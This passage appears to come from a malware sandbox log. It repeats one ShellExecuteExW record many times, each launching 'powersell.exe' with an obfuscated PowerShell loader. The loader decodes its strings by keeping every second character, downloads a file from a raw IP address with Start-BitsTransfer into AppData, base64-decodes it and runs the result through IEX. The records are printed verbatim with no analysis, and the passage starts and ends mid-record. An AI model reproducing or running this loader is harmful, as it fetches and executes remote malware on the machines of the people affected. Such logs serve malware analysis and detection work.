rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
filepath: powersell.exe
0 0

ShellExecuteExW

show_type: 0
filepath_r: powersell.exe
parameters: "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B 